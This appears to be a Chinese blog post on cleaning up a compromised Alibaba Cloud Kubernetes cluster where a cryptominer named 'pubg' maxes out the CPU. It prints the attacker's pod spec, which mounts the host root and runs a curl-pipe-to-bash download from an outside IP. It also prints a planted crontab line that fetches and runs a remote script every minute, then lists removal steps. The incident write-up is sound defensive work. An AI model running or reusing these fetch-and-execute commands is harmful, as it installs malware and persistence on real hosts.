阿里云kubernetes遭入侵pubg进程占用cpu资源100%解决方法

发现服务器CPU占用100%，通过top命令发现pubg -c config.json -t 2占用CPU资源，kill进程会自动启动。黑客入侵方式是kubernetes创建pod。

Name:           kube-api-zbplw

Namespace:      default

Node:           120.79.2.25/120.79.2.25

Start Time:     Tue,  Dec  :: +

Labels:         <none>

Status:         Succeeded

IP:             172.17.36.4

Controllers:    <none>

Containers:

  centos:

    Container ID:       docker://c293e7063e2f9c38939d24f707cb752a0b76def937b3f30d784fe8202d14b01d

    Image:              centos

    Image ID:           docker-pullable://docker.io/centos@sha256:3b1a65e9a05f0a77b5e8a698d3359459904c2a354dc3b25ae2e2f5c95f0b3667

    Port:

    Command:

      /bin/sh

      -c

      /usr/bin/curl -s http://35.194.156.203/obi.sh | bash -s;sleep 120;cat /mnt/etc/crontab;echo 0

    State:              Terminated

      Reason:           Completed

      Exit Code:

      Started:          Wed,  Dec  :: +

      Finished:         Wed,  Dec  :: +

    Ready:              False

    Restart Count:

    Volume Mounts:

      /mnt from hahaha-volume (rw)

    Environment Variables:      <none>

Conditions:

  Type          Status

  Initialized   True

  Ready         False

  PodScheduled  True

Volumes:

  hahaha-volume:

    Type:       HostPath (bare host directory volume)

    Path:       /

QoS Class:      BestEffort

Tolerations:    <none>

Events:

  FirstSeen     LastSeen        Count   From                    SubObjectPath   Type            Reason          Message

  ---------     --------        -----   ----                    -------------   --------        ------          -------

  1d            24m                  {kubelet 120.79.2.25}                   Warning         FailedSync      Error syncing pod, skipping: failed to "StartContainer" for "POD" with ErrImagePull: "image pull failed for registry.access.redhat.com/rhel7/pod-infrastructure:latest, this may be because there are no credentials on this request.  details: (open /etc/docker/certs.d/registry.access.redhat.com/redhat-ca.crt: no such file or directory)"

解决方法

1，删除pod

kubectl delete pod kube-api-zbplw

2，修改crontab配置。

cat /etc/crontab

* * * * * root /usr/bin/curl -s http://35.194.156.203/steam.sh | /bin/bash -s

3，关闭crontab，清除crontab配置，再kill pubg进程，问题解决。

service crond stop

巴特西

阿里云kubernetes遭入侵pubg进程占用cpu资源100%解决方法

解决方法

最新文章

热门文章